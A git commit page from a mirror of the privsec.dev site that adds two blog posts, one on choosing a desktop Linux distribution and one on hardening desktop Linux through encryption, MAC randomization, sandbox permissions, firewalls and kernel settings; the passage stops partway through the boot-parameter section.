mirror of
https://github.com/PrivSec-dev/privsec.dev.git
synced 2025-05-02 06:16:19 -04:00
Reorganize (#72)
* Reorganize Signed-off-by: Tommy <contact@tommytran.io>
This commit is contained in:
parent
46501875be
commit
bf55611133
37 changed files with 127 additions and 78 deletions
107
content/posts/linux/Choosing Your Desktop Linux Distribution.md
Normal file
107
content/posts/linux/Choosing Your Desktop Linux Distribution.md
Normal file
|
@ -0,0 +1,107 @@
|
|||
---
|
||||
title: "Choosing Your Desktop Linux Distribution"
|
||||
date: 2022-07-17
|
||||
tags: ['Operating Systems', 'Linux', 'Security']
|
||||
author: Tommy
|
||||
---
|
||||
|
||||
Not all Linux distributions are created equal. When choosing a Linux distribution, there are several things you need to keep in mind.
|
||||
|
||||
## Release Cycle
|
||||
|
||||
You should choose a distribution which stays close to the stable upstream software releases, typically rolling release distributions. This is because frozen release cycle distributions often don’t update package versions and fall behind on security updates.
|
||||
|
||||
For frozen distributions, package maintainers are expected to backport patches to fix vulnerabilities (Debian is one such [example](https://www.debian.org/security/faq#handling)) rather than bump the software to the “next version” released by the upstream developer. Some security fixes [do not](https://arxiv.org/abs/2105.14565) receive a [CVE](https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures) (particularly less popular software) at all and therefore do not make it into the distribution with this patching model. As a result minor security fixes are sometimes held back until the next major release.
|
||||
|
||||
In fact, in certain cases, there have been vulnerabilities introduced by Debian because of their patching process. [Bug 1633467](https://bugzilla.mozilla.org/show_bug.cgi?id=1633467) and [DSA-1571](https://www.debian.org/security/2008/dsa-1571) are examples of this.
|
||||
|
||||

|
||||
|
||||
Holding packages back and applying interim patches is generally not a good idea, as it diverges from the way the developer might have intended the software to work. [Richard Brown](https://rootco.de/aboutme/) has a presentation about this:
|
||||
|
||||
{{< youtube id="i8c0mg_mS7U">}}
|
||||
|
||||
## Traditional and Atomic updates
|
||||
|
||||
Traditionally, Linux distributions update by sequentially updating the desired packages. Traditional updates such as those used in Fedora, Arch Linux, and Debian based distributions can be less reliable if an error occurs while updating.
|
||||
|
||||
Atomic updating distributions apply updates in full or not at all. Typically, transactional update systems are also atomic.
|
||||
|
||||
A transactional update system creates a snapshot that is made before and after an update is applied. If an update fails at any time (perhaps due to a power failure), the update can be easily rolled back to a “last known good state."
|
||||
|
||||
[Adam Šamalík](https://twitter.com/adsamalik) has a presentation with `rpm-ostree` in action:
|
||||
|
||||
{{< youtube id="-hpV5l-gJnQ">}}
|
||||
|
||||
Even if you are worried about the stability of the system because of regularly updated packages (which you shouldn't be), it makes more sense to use a system which you can safely update and rollback instead of an outdated distribution partially made up of unreliable backport packages without an easy rollback mechanism in case something goes wrong like Debian.
|
||||
|
||||
## Arch-based Distributions
|
||||
|
||||
Acrh Linux has very up to date packages with minimal downstream patching. That being said, Arch based distributions are not recommended for those new to Linux, regardless of the distribution. Arch does not have an distribution update mechanism for the underlying software choices. As a result you have to stay aware with current trends and adopt technologies as they supersede older practices on your own.
|
||||
|
||||
For a secure system, you are also expected to have sufficient Linux knowledge to properly set up security for their system such as adopting a [mandatory access control](https://en.wikipedia.org/wiki/Mandatory_access_control) system, setting up [kernel module](https://en.wikipedia.org/wiki/Loadable_kernel_module#Security) blacklists, hardening boot parameters, manipulating [sysctl](https://en.wikipedia.org/wiki/Sysctl) parameters, and knowing what components they need such as [Polkit](https://en.wikipedia.org/wiki/Polkit).
|
||||
|
||||
If you are experienced with Linux and wish to use an Arch-based distribution, you should use Arch Linux proper, not any of its derivatives. Here are some examples of why that is the case:
|
||||
|
||||
- **Manjaro**: This distribution holds packages back for 2 weeks to make sure that their own changes do not break, not to make sure that upstream is stable. When AUR packages are used, they are often built against the latest [libraries](https://en.wikipedia.org/wiki/Library_(computing)) from Arch’s repositories.
|
||||
- **Garuda**: They use [Chaotic-AUR](https://aur.chaotic.cx/) which automatically and blindly compiles packages from the AUR. There is no verification process to make sure that the AUR packages don’t suffer from supply chain attacks.
|
||||
|
||||
## Kicksecure
|
||||
|
||||
While you should not use outdated distributions like Debian, if you decide to use it, it would be a good idea to [convert](https://www.kicksecure.com/wiki/Debian) it into [Kicksecure](https://www.kicksecure.com/). Kicksecure, in oversimplified terms, is a set of scripts, configurations, and packages that substantially reduce the attack surface of Debian. It covers a lot of privacy and hardening recommendations by default.
|
||||
|
||||
## “Security-focused” Distributions
|
||||
|
||||
There is often some confusion about “security-focused” distributions and “pentesting” distributions. A quick search for “the most secure Linux distribution” will often give results like Kali Linux, Black Arch and Parrot OS. These distributions are offensive penetration testing distributions that bundle tools for testing other systems. They don’t include any “extra security” or defensive mitigations intended for regular use.
|
||||
|
||||
## Linux-libre Kernel and “Libre” Distributions
|
||||
|
||||
**Do not** use the Linux-libre kernel, since it [removes security mitigations](https://www.phoronix.com/scan.php?page=news_item&px=GNU-Linux-Libre-5.7-Released) and [suppresses kernel warnings](https://news.ycombinator.com/item?id=29674846) about vulnerable microcode for ideological reasons.
|
||||
|
||||
If you want to use one of these distributions for reasons other than ideology, you should make sure that they there is a way to easily obtain, install and update a proper kernel and missing firmware. For example, if you are looking to use [GUIX](https://guix.gnu.org/en/download/), you should absolutely use something like the [Nonguix](https://gitlab.com/nonguix/nonguix) repository and get all of the fixes as mentioned above.
|
||||
|
||||
## Wayland
|
||||
|
||||
You should use a desktop environment that supports the [Wayland](https://en.wikipedia.org/wiki/Wayland_(display_server_protocol)) display protocol as it developed with security [in mind](https://lwn.net/Articles/589147/). Its predecessor, [X11](https://en.wikipedia.org/wiki/X_Window_System), does not support GUI isolation, allowing all windows to [record screen, log and inject inputs in other windows](https://blog.invisiblethings.org/2011/04/23/linux-security-circus-on-gui-isolation.html), making any attempt at sandboxing futile. While there are options to do nested X11 such as [Xpra](https://en.wikipedia.org/wiki/Xpra) or [Xephyr](https://en.wikipedia.org/wiki/Xephyr), they often come with negative performance consequences and are not convenient to set up and are not preferable over Wayland.
|
||||
|
||||
Fortunately, common environments such as [GNOME](https://www.gnome.org), [KDE](https://kde.org), and the window manager [Sway](https://swaywm.org) have support for Wayland. Some distributions like Fedora and Tumbleweed use it by default, and some others may do so in the future as X11 is in [hard maintenance mode](https://www.phoronix.com/scan.php?page=news_item&px=X.Org-Maintenance-Mode-Quickly). If you’re using one of those environments it is as easy as selecting the “Wayland” session at the desktop display manager ([GDM](https://en.wikipedia.org/wiki/GNOME_Display_Manager), [SDDM](https://en.wikipedia.org/wiki/Simple_Desktop_Display_Manager)).
|
||||
|
||||
Try **not** to use desktop environments or window managers that do not have Wayland support such as Cinnamon (default on Linux Mint), Pantheon (default on Elementary OS), MATE, Xfce, and i3. If you are using i3, consider switching to [Sway](https://swaywm.org), which is a drop-in replacement with Wayland support as mentioned above.
|
||||
|
||||
## Recommended Distributions
|
||||
|
||||
Here is a quick non authoritative list of distributions that are generally better than others:
|
||||
|
||||
### Fedora Workstation
|
||||
|
||||

|
||||
|
||||
[Fedora Workstation](https://getfedora.org/en/workstation/) is a great general purpose Linux distribution, especially for those who are new to Linux. It is a semi-rolling release distribution. While some packages like GNOME are frozen until the next Fedora release, most packages (including the kernel) are updated frequently throughout the lifespan of the release. Each Fedora release is supported for one year, with a new version released every 6 months.
|
||||
|
||||
WIth that, Fedora generally adopts newer technologies before other distributions e.g., [Wayland](https://wayland.freedesktop.org/), [PipeWire](https://pipewire.org/), and soon, [FS-Verity](https://fedoraproject.org/wiki/Changes/FsVerityRPM). These new technologies often come with improvements in security, privacy, and usability in general.
|
||||
|
||||
While lacking transactional or atomic updates, Fedora's package manager, `dnf`, has a great rollback and undo feature that is generally missing from other package managers. You can read more about it on [Red Hat's documentation](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9/html/managing_software_with_the_dnf_tool/assembly_handling-package-management-history_managing-software-with-the-dnf-tool).
|
||||
|
||||
### Fedora Silverblue & Kinoite
|
||||
|
||||
[Fedora Silverblue](https://silverblue.fedoraproject.org/) and [Fedora Kinoite](https://kinoite.fedoraproject.org/) are immutable variants of Fedora with a strong focus on container workflows. Silverblue comes with the [GNOME](https://www.gnome.org/) desktop environment while Kinoite comes with [KDE](https://kde.org/). Silverblue and Kinoite follow the same release schedule as Fedora Workstation, benefiting from the same fast updates and staying very close to upstream.
|
||||
|
||||
You can refer to the video by [Adam Šamalík](https://twitter.com/adsamalik) linked [above](#traditional-and-atomic-updates) on how these distributions work.
|
||||
|
||||
### openSUSE Tumbleweed and MicroOS
|
||||
|
||||
Fedora Workstation and Silverblue's European counterpart. These are rolling release, fast updating distributions with [transactional update](https://kubic.opensuse.org/blog/2018-04-04-transactionalupdates/) using [Btrfs](https://en.wikipedia.org/wiki/Btrfs) and [Snapper](https://en.opensuse.org/openSUSE:Snapper_Tutorial).
|
||||
|
||||
[MicroOS](https://microos.opensuse.org/) has a much smaller base system than [Tumbleweed](https://get.opensuse.org/tumbleweed) and mounts the running BTRFS subvomumes as read-only (hence its name and why it is considered an immutable distribution). Currently, it is still in Beta so bugs are to be expected. Nevertheless, it is an awesome project.
|
||||
|
||||
{{< youtube id="jcl_4Vh6qP4">}}
|
||||
|
||||
### Whonix
|
||||
|
||||
[Whonix](https://www.whonix.org/) is a distribution focused on anonymity based on [Kicksecure](https://www.whonix.org/wiki/Kicksecure). It is meant to run as two virtual machines: a “Workstation” and a Tor “Gateway.” All communications from the Workstation must go through the Tor gateway. This means that even if the Workstation is compromised by malware of some kind, the true IP address remains hidden. It is currently the best solution that I know of if your threat model requires anonymity.
|
||||
|
||||
Some of its features include Tor Stream Isolation, [keystroke anonymization](https://www.whonix.org/wiki/Keystroke_Deanonymization#Kloak), [boot clock ranomization](https://www.kicksecure.com/wiki/Boot_Clock_Randomization), [encrypted swap](https://github.com/Whonix/swap-file-creator), hardened boot parameters, hardened kernel settings, and a [hardened memory allocator](https://www.kicksecure.com/wiki/Hardened_Malloc). One downside of Whonix is that it still inherits outdated packages with lots of downstream patching from Debian.
|
||||
|
||||
Future versions of Whonix will likely include [full system AppArmor policies](https://github.com/Whonix/apparmor-profile-everything) and a [sandbox app launcher](https://www.whonix.org/wiki/Sandbox-app-launcher) to fully confine all processes on the system.
|
||||
|
||||
Although Whonix is best used [in conjunction with Qubes](https://www.whonix.org/wiki/Qubes/Why_use_Qubes_over_other_Virtualizers), Qubes-Whonix has [various disadvantages](https://forums.whonix.org/t/qubes-whonix-security-disadvantages-help-wanted/8581) when compared to other hypervisors.
|
399
content/posts/linux/Desktop-Linux-Hardening.md
Normal file
399
content/posts/linux/Desktop-Linux-Hardening.md
Normal file
|
@ -0,0 +1,399 @@
|
|||
---
|
||||
title: "Desktop Linux Hardening"
|
||||
date: 2022-08-17
|
||||
tags: ['Operating Systems', 'Linux', 'Privacy', 'Security']
|
||||
author: Tommy
|
||||
---
|
||||
|
||||
Linux is [not](/posts/os/linux-insecurities) a secure operating system. However, there are steps you can take to harden it, reduce its attack surface and improve its privacy.
|
||||
|
||||
**Before We Start**...
|
||||
|
||||
This guide is largely based on [Madaidan's Linux hardening guide](https://madaidans-insecurities.github.io/guides/linux-hardening.html); however, it does take into account usability and ease of maintenance of each recommendation. The goal is to produce a guide that intermediate to advanced Linux users can reasonably follow to set up and maintain the security configurations. It will also **not** try to be distribution agnostic, and there will be many distribution specific recommendations.
|
||||
|
||||
Some of the sections will include mentions of unofficial builds of packages like `linux-hardened`, `lkrg-akmod`, `hardend-malloc`, and so on. These are not endorsements. They are merely there to show you that you have an option to easily obtain and update these packages. Using unofficial builds of packages means adding more parties to trust, and you have to evaluate whether it is worth doing so for the potential privacy or security benefits or not.
|
||||
|
||||

|
||||
|
||||
## During Installation
|
||||
|
||||
### Drive Encryption
|
||||
|
||||
Most Linux distributions have an option within its installer for enabling [LUKS](../encryption.md#linux-unified-key-setup) full disk encryption. If this option isn’t set at installation time, you will have to backup your data and re-install, as encryption is applied after [disk partitioning](https://en.wikipedia.org/wiki/Disk_partitioning), but before [file systems](https://en.wikipedia.org/wiki/File_system) are formatted.
|
||||
|
||||
### Encrypted Swap
|
||||
|
||||
Consider using [encrypted swap](https://wiki.archlinux.org/title/Dm-crypt/Swap_encryption) or [ZRAM](https://wiki.archlinux.org/title/Swap#zram-generator) instead of unencrypted swap to avoid potential security issues with sensitive data being pushed to [swap space](https://en.wikipedia.org/wiki/Memory_paging). While ZRAM can be set up post-installation, if you want to use encrypted swap, you should set it up while partitioning your drive.
|
||||
|
||||
Depending on your distribution, encrypted swap may be automatically set up if you choose to encrypt your drive. Fedora [uses ZRAM by default](https://fedoraproject.org/wiki/Changes/SwapOnZRAM), regardless of whether you enable drive encryption or not.
|
||||
|
||||
## Privacy Tweaks
|
||||
|
||||
### NetworkManager Trackability Reduction
|
||||
|
||||
Most desktop Linux distributions including Fedora, openSUSE, Ubuntu, and so on come with [NetworkManager](https://en.wikipedia.org/wiki/NetworkManager) by default to configure Ethernet and Wi-Fi settings.
|
||||
|
||||
WfKe9vLwSvv7rN has detailed guide on [trackability reduction with NetworkManager](/posts/os/networkmanager-trackability-reduction/) and I highly recommend that you check it out.
|
||||
|
||||
In short, if you use NetworkManager, add the following to your `/etc/NetworkManager/conf.d/00-macrandomize.conf`:
|
||||
```
|
||||
[device]
|
||||
wifi.scan-rand-mac-address=yes
|
||||
|
||||
[connection]
|
||||
wifi.cloned-mac-address=random
|
||||
ethernet.cloned-mac-address=random
|
||||
```
|
||||
|
||||
Next, disable transient hostname management by adding the following to your `/etc/NetworkManager/conf.d/01-transient-hostname.conf`:
|
||||
|
||||
```
|
||||
[main]
|
||||
hostname-mode=none
|
||||
```
|
||||
|
||||
Then, restart your NetworkManager service:
|
||||
|
||||
```bash
|
||||
sudo systemctl restart NetworkManager
|
||||
```
|
||||
|
||||
Finally, set your hostname to `localhost`:
|
||||
|
||||
```bash
|
||||
sudo hostnamectl hostname "localhost"
|
||||
```
|
||||
|
||||
Note that randomizing Wi-Fi MAC addresses depends on support from the Wi-Fi card firmware.
|
||||
|
||||
### Other Identifiers
|
||||
|
||||
There are other system identifiers which you may wish to be careful about. You should give this some thought to see if it applies to your [threat model](/posts/knowledge/threat-modeling/):
|
||||
|
||||
- **Usernames:** Similarly, your username is used in a variety of ways across your system. Consider using generic terms like "user" rather than your actual name.
|
||||
- **Machine ID:**: During installation a unique machine ID is generated and stored on your device. Consider [setting it to a generic ID](https://madaidans-insecurities.github.io/guides/linux-hardening.html#machine-id).
|
||||
|
||||
### System Counting
|
||||
|
||||
Many Linux distributions sends some telemetry data by default to count how many systems are using their software. Consider disabling this depending on your threat model.
|
||||
|
||||
The Fedora Project does this by [counting](https://fedoraproject.org/wiki/Changes/DNF_Better_Counting) how many unique systems access its mirrors by using a [`countme`](https://fedoraproject.org/wiki/Changes/DNF_Better_Counting#Detailed_Description) variable instead of a unique ID.
|
||||
|
||||
This [option](https://dnf.readthedocs.io/en/latest/conf_ref.html#options-for-both-main-and-repo) is currently off by default. However, you could add `countme=false` to `/etc/dnf/dnf.conf` just in case it is enabled in the future. On systems that use rpm-ostree such as Fedora Silverblue or Kinoite, the `countme` option can be disabled by masking the [rpm-ostree-countme](https://fedoramagazine.org/getting-better-at-counting-rpm-ostree-based-systems/) timer.
|
||||
|
||||
openSUSE uses a [unique ID](https://en.opensuse.org/openSUSE:Statistics) to count systems, which can be disabled by deleting the `/var/lib/zypp/AnonymousUniqueId` file.
|
||||
|
||||
Zorin OS uses the `zorin-os-cencus` package, which also uses a [unique ID](https://zorin.com/legal/privacy/) to count systems. You can opt out of this by doing `sudo apt purge zorin-os-census`, and optionally hold it with `sudo apt-mark hold zorin-os-census` to avoid accidentally installing it in the future.
|
||||
|
||||
[Snapd](https://github.com/snapcore/snapd) assigns a [unique ID](https://snapcraft.io/docs/snap-store-metrics) to your snapd installation and use it for telemetry. While this is generally not a problem, if your threat model calls for anonymity, you should not be using snap packages, and you should remove snapd from your Ubuntu installation. Like with Zorin Census, on Debian based distributions, and especially Ubuntu, consider holding `snapd` with `sudo apt-mark hold snapd`.
|
||||
|
||||
Of course, this is a non-exhaustive list of how different Linux distributions do this. If you are aware of any other tracking mechanisms that different distributions use, feel free to make a [pull request](https://github.com/PrivSec-dev/privsec.dev/blob/main/content/posts/linux/Linux-Desktop-Hardening.md) or [discussion post](https://github.com/PrivSec-dev/privsec.dev/discussions) detailing them!
|
||||
|
||||
### Keystroke Anonymization
|
||||
You could be [fingerprinted based on soft biometric traits](https://www.whonix.org/wiki/Keystroke_Deanonymization) when you use the keyboard. The [Kloak](https://github.com/vmonaco/kloak) package could help you mitigate this threat. It is available as a .deb package from [Kicksecure's repository](https://www.kicksecure.com/wiki/Packages_for_Debian_Hosts) and an [AUR package](https://aur.archlinux.org/packages/kloak-git).
|
||||
|
||||
With that being said, if your threat model calls for using something like Kloak, you are probably better off just using Whonix.
|
||||
|
||||
## Application Confinement
|
||||
Some sandboxing solutions for desktop Linux distributions do exist; however, they are not as strict as those found in macOS or ChromeOS. Applications installed from the package manager (`dnf`, `apt`, etc.) typically have **no** sandboxing or confinement whatsoever. Below are a few projects that aim to solve this problem:
|
||||
|
||||
### Flatpak
|
||||
|
||||
{{< youtube id="GkgPIJp8_30">}}
|
||||
|
||||
[Flatpak](https://flatpak.org) aims to be a universal package manager for Linux. One of its main goals is to provide a universal package format which can be used in most Linux distributions. It provides some [permission control](https://docs.flatpak.org/en/latest/sandbox-permissions.html). With that being said, Flatpak sandboxing is [quite weak](https://madaidans-insecurities.github.io/linux.html#flatpak).
|
||||
|
||||
You can restrict applications further by issuing [Flatpak overrides](https://docs.flatpak.org/en/latest/flatpak-command-reference.html#flatpak-override). This can be done with the command-line or by using [Flatseal](https://flathub.org/apps/details/com.github.tchx84.Flatseal). Some sample overrides are provided by [me](https://github.com/tommytran732/Flatpak-Overrides) and [rusty-snake](https://github.com/rusty-snake/kyst/tree/main/flatpak). Note that this only helps with the lax high level default permissions, but cannot solve the low level issues like `/proc` and `/sys` access, or an insufficient seccomp blacklist.
|
||||
|
||||
Some sensitive permissions you should pay attention to:
|
||||
|
||||
- the Network (`--share=network`) socket (internet access)
|
||||
- the PulseAudio socket (`--socket=pulseaudio`) for audio and sound
|
||||
- `--device=all` access to all devices including the camera
|
||||
- `--talk-name=org.freedesktop.secrets` dbus (access to secrets stored on your keychain) for applications which do not need it
|
||||
|
||||
If an application works natively with Wayland (*not* running through the [XWayland](https://wayland.freedesktop.org/xserver.html) compatibility layer), consider revoking its access to the X11 (`--socket=x11`) and [inter-process communications (IPC)](https://en.wikipedia.org/wiki/Unix_domain_socket) socket (`--share=ipc`) as well.
|
||||
|
||||
Many Flatpak apps come with broad filesystem permissions such as `--filesystem=home` and `--filesystem=host`. Some applications implement the [Portal API](https://docs.flatpak.org/en/latest/portal-api-reference.html), which allows a file manager to pass files to the Flatpak application (e.g. VLC) without specific filesystem access privileges. Despite this, many of them, including ones like VLC [still use](https://github.com/flathub/org.videolan.VLC/blob/master/org.videolan.VLC.json) `--filesystem=host`.
|
||||
|
||||
My strategy to deal with this is to revoke all filesystem access first, then test if an application works without it. If it does, it means the app is already using Portals and I don't need to do anything else. If it doesn't, then I start granting permission to specific directories.
|
||||
|
||||
As odd as this may sound, **you should not do unattended updates with your Flatpak packages**. The problem with Flatpak is that it grants install-time permissions when you update your applications, and you will not be notified of the permission change if you or app store simply executes `flatpak update -y`. Using automatic update with `gnome-software` is fine, as it will not update packages with permission changes, and you have to manually open it's update tab to apply the update.
|
||||
|
||||
### Snap
|
||||
|
||||
Snap is another universal package manager with some sandboxing support. It is developed by Canonical and heavily pushed on Ubuntu.
|
||||
|
||||
Snap packages come in [two variants](https://snapcraft.io/docs/snap-confinement): classic snap with no confinement and strict snap with confinement on systems with AppArmor and Cgroupsv1. If a snap package is classic snap, you are better off using a version provided by your distribution's repository instead, if one is available. If your system does not have AppArmor, then you are better off not using snap at all. Most modern systems outside of Ubuntu and its derivatives only use Cgroupsv2 by default, so you have to set `systemd.unified_cgroup_hierarchy=0` in your kernel parameters to get Cgroupsv1 working.
|
||||
|
||||
Snap permissions can be managed via the Snap Store or Ubuntu's custom patched GNOME Control Center.
|
||||
|
||||
One caveat with Snap packages is that you only have control over the interfaces declared in their manifests. For example, snap has separate interfaces for `audio-playback` and `audio-record`; however, some packages will only declare the legacy `pulseaudio` interface which grants them permission to both play and record audio. Likewise, some applications may work perfectly fine with Wayland, but the package maintainer may only declare the X11 interface in their manifest. For these cases, you need to reach out to the maintainer of the Snap package to update the manifest accordingly.
|
||||
|
||||
### Firejail
|
||||
|
||||
{{< youtube id="N-Mso2bSr3o">}}
|
||||
|
||||
[Firejail](https://firejail.wordpress.com/) is another method of sandboxing. As it is a large [setuid](https://en.wikipedia.org/wiki/Setuid) binary, it has a large attack surface which may assist in [privilege escalation](https://en.wikipedia.org/wiki/Privilege_escalation).
|
||||
|
||||
Madaidan [provided](https://madaidans-insecurities.github.io/linux.html#firejail) additional details on how Firejail can worsen the security of your device.
|
||||
|
||||
If you do use Firejail, there is a tool called [Firetools](https://github.com/netblue30/firetools) which can help you quickly manage what an application can have access to and launch them. Note that the configurations by `Firetools` are temporary and it does not provide you with an option to save a profile for long term use.
|
||||
|
||||
Firejail can also confine X11 windows using Xpra or Xephr, something that Flatpak and Snap cannot do. I highly recommend that you check out their [documentation](https://firejail.wordpress.com/documentation-2/x11-guide/) on how to set this up.
|
||||
|
||||
One trick to consistently launch applications which have a Firejail profile confined is to use the `sudo firecfg` command. This will create a symlink in `/usr/local/bin/app_name_here` pointing to Firejail. `.desktop` files which do not specifically specify the absolute path of the binaries to use will launch the application through the symlink and have Firejail sandbox them this way. Of course, this is bypassable if you or some other applications launch the application directly from `/usr/bin/app_name_here` instead.
|
||||
|
||||
### Mandatory Access Control
|
||||
|
||||
Common Linux [Mandatory access control](https://en.wikipedia.org/wiki/Mandatory_access_control) frameworks require policy files in order to force constraints on the system.
|
||||
|
||||
The two main control systems are [SELinux](https://en.wikipedia.org/wiki/Security-Enhanced_Linux) (used on Android and Fedora based distributions) and [AppArmor](https://en.wikipedia.org/wiki/AppArmor) (Used on Debian based distributions and most openSUSE variants).
|
||||
|
||||
Fedora includes SELinux preconfigured with some policies that will confine [system daemons](https://en.wikipedia.org/wiki/Daemon_(computing)) (background processes). You should keep it in Enforcing mode.
|
||||
|
||||
openSUSE gives the choice of AppArmor or SELinux during the installation process. You should stick to the default for each variant (AppArmor for [Tumbleweed](https://get.opensuse.org/tumbleweed/) and SELinux for [MicroOS](https://microos.opensuse.org/)). openSUSE’s SELinux policies are derived from Fedora.
|
||||
|
||||
Arch and Arch-based operating systems often do not come with a mandatory access control system and you must manually install and configure [AppArmor](https://wiki.archlinux.org/title/AppArmor) for it.
|
||||
|
||||
Note that unlike Android, traditional desktop Linux distributions typically do not have full system Mandatory Access Control policies, and only a few system daemons are actually confined.
|
||||
|
||||
### Making Your Own Policies/Profiles
|
||||
|
||||
You can make your own AppArmor profiles, SELinux policies, Bubblewrap profiles, and [seccomp](https://en.wikipedia.org/wiki/Seccomp) blacklist to have better confinement of applications. This is an advanced and sometimes tedious task, so I won’t go into detail about how to do it here, but there are a few projects that you could use as reference.
|
||||
|
||||
- Whonix’s [AppArmor Everything](https://github.com/Whonix/apparmor-profile-everything)
|
||||
- Krathalan’s [AppArmor profiles](https://github.com/krathalan/apparmor-profiles)
|
||||
- noatsecure’s [SELinux templates](https://github.com/noatsecure/hardhat-selinux-templates)
|
||||
- Seirdy’s [Bubblewrap scripts](https://sr.ht/~seirdy/bwrap-scripts)
|
||||
|
||||
### Securing Linux Containers
|
||||
|
||||
If you’re running a server, you may have heard of Linux Containers. They are more common in server environments where individual services are built to operate independently. However, you may sometimes see them on desktop systems as well, especially for development purposes.
|
||||
|
||||
[Docker](https://en.wikipedia.org/wiki/Docker_(software)) is one of the most common container solutions. It is **not** a proper sandbox, and this means that there is a large kernel attack surface. You should follow the [Docker and OCI Hardening](/posts/apps/docker-and-oci-hardening/) guide to mitigate this problem. In short, there are things you can do like using rootless containers (either through configuration or through using [Podman](https://podman.io/)), using a runtime which provides a psuedo-kernel for each container ([gVisor](https://gvisor.dev/)), and so on.
|
||||
|
||||
Another option is [Kata containers](https://katacontainers.io/), where virtual machines masquerade as containers. Each Kata container has its own Linux kernel and is isolated from the host.
|
||||
|
||||
## Security Hardening
|
||||
|
||||

|
||||
|
||||
### Umask 077
|
||||
If you are not using openSUSE, consider changing the default [umask](https://en.wikipedia.org/wiki/Umask) for both regular user accounts and root to 077. Changing umask to 077 can break snapper on openSUSE and is **not** recommended.
|
||||
|
||||
The configuration for this varies per distribution, but typically it can be set in `/etc/profile`, `/etc/bashrc`, or `/etc/login.defs`.
|
||||
|
||||
Note that unlike on macOS, this will only change the umask for the shell. Files created by running applications will not have their permissions set to 600.
|
||||
|
||||
### Firmware Updates
|
||||
Hardware vendors typically offer updates to Linux systems through the [Linux Vendor Firmware Service](https://fwupd.org/). You can download the updates using the following commands:
|
||||
|
||||
```bash
|
||||
# Update metadata
|
||||
fwupdmgr refresh
|
||||
# Download firmware updates and apply them
|
||||
fwupdmgr update
|
||||
```
|
||||
On a typical desktop Linux system, the desktop enviroment's app store such as `gnome-software`, `discover`, or `snap-store` would integrate with `fwupd` and update your system firmware automatically. However, not all desktop environment/app store have this integration, so you should check your specific system and setup scheduled update tasks using [systemd timers](https://wiki.archlinux.org/title/systemd/Timers) or [cron](https://wiki.archlinux.org/title/Cron) if needed.
|
||||
|
||||
Some distributions like Debian do not have `fwupd` installed by default, so you should check for its existence on your system and install it if needed as well.
|
||||
|
||||
Note that `fwupd` supports UEFI update using the UEFI capsule. This could potentially cause issues if your system gets shutdown in the middle of an update. Unless you have USB FlashBack, you should disable this in your UEFI firmware (it is usually called Windows UEFI Firmware Update) or in `/etc/fwupd/uefi_capsule.conf` by adding `uefi` to the end of the `DisabledPlugins` line.
|
||||
### Firewalls
|
||||
|
||||
A [firewall](https://en.wikipedia.org/wiki/Firewall_(computing)) may be used to secure connections to your system.
|
||||
|
||||
Red Hat distributions (such as Fedora) are typically configured through [firewalld](https://en.wikipedia.org/wiki/Firewalld). Red Hat has plenty of [documentation](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_and_managing_networking/using-and-configuring-firewalld_configuring-and-managing-networking) regarding this topic. There is also the [Uncomplicated Firewall](https://en.wikipedia.org/wiki/Uncomplicated_Firewall) which can be used as an alternative.
|
||||
|
||||
You could also set your default firewall zone to drop packets. If you're on a Red Hat or SUSE based distribution such as Fedora this can be done with the following commands:
|
||||
|
||||
```
|
||||
firewall-cmd --set-default-zone=drop
|
||||
firewall-cmd --add-protocol=ipv6-icmp --permanent
|
||||
firewall-cmd --add-service=dhcpv6-client --permanent
|
||||
```
|
||||
|
||||
All these firewalls use the [Netfilter](https://en.wikipedia.org/wiki/Netfilter) framework and therefore cannot protect against malicious programs running on the system. A malicious program could insert its own rules.
|
||||
|
||||
There are some per-binary outbound firewalls such as [OpenSnitch](https://github.com/evilsocket/opensnitch) or [Portmaster](https://safing.io/portmaster/) that you could use as well. But just like firewalld and UFW, they are bypassable.
|
||||
|
||||
If you are using Flatpak packages, you can revoke their network socket access using Flatseal and prevent those applications from accessing your network. This permission is not bypassable.
|
||||
|
||||
If you are using non-classic [Snap](https://en.wikipedia.org/wiki/Snap_(package_manager)) packages on a system with proper snap confinement support (with both AppArmor and [cgroups](https://en.wikipedia.org/wiki/Cgroups) v1 present), you can use the Snap Store to revoke network permission as well. This is also not bypassable.
|
||||
|
||||
### Kernel Hardening
|
||||
There are some additional kernel hardening options such as configuring [sysctl](https://en.wikipedia.org/wiki/Sysctl#Linux) keys and [kernel command-line parameters](https://www.kernel.org/doc/html/latest/admin-guide/kernel-parameters.html) which are described in the Madaidan's guide. You should read through them before applying these changes.
|
||||
|
||||
- [2.2 Sysctl](https://madaidans-insecurities.github.io/guides/linux-hardening.html#sysctl)
|
||||
- [2.5.2 Blacklisting kernel modules](https://madaidans-insecurities.github.io/guides/linux-hardening.html#kasr-kernel-modules)
|
||||
|
||||
Madaidan recommends that you disable unprivileged [user namespaces](https://madaidans-insecurities.github.io/linux.html#kernel) due to it being responsible for various privilege escalation vulnerabilities. However, some software such as Podman and LXD require unprivileged user namespaces to function. If you decide that you want to use these technologies, do not disable `kernel.unprivileged_userns_clone`.
|
||||
|
||||
If you are using KickSecure or Whonix, most of these hardening have already been done for you thanks to [security-misc](https://github.com/Kicksecure/security-misc). If you are using a Debian, you should consider [morphing](https://www.kicksecure.com/wiki/Debian) it into KickSecure. On other distributions, you can copy the configurations from the following files to use:
|
||||
|
||||
- [`/etc/sysctl.d/30_security-misc.conf`](https://github.com/Kicksecure/security-misc/blob/master/etc/sysctl.d/30_security-misc.conf)
|
||||
- [`/etc/sysctl.d/30_silent-kernel-printk.conf`](https://github.com/Kicksecure/security-misc/blob/master/etc/sysctl.d/30_silent-kernel-printk.conf)
|
||||
- [`/etc/modprobe.d/30_security-misc.conf`](https://github.com/Kicksecure/security-misc/blob/master/etc/modprobe.d/30_security-misc.conf)
|
||||
|
||||
Note that these configurations do not disable unprivileged user namespaces. There are also a few things in `/etc/modprobe.d/30_security-misc.conf` to keep in mind:
|
||||
- The `bluetooth` and `btusb` kernel modules are disabled by default. You need to comment out `install bluetooth /bin/disabled-bluetooth-by-security-misc` and `install btusb /bin/disabled-bluetooth-by-security-misc` if you want to use Bluetooth.
|
||||
- Apple filesystems are disabled by default. This is generally fine on non-Apple systems; however, if you are using Linux on an Apple product, you **must** check what filesystem your EFI partition uses. For example, if your EFI filesystem is HFS+, you need to comment out `install hfsplus /bin/disabled-filesys-by-security-misc`, otherwise your computer will not be able to boot into Linux.
|
||||
|
||||
### Harding Boot Parameters
|
||||
|
||||
Read through this section on how to harden your boot parameters:
|
||||
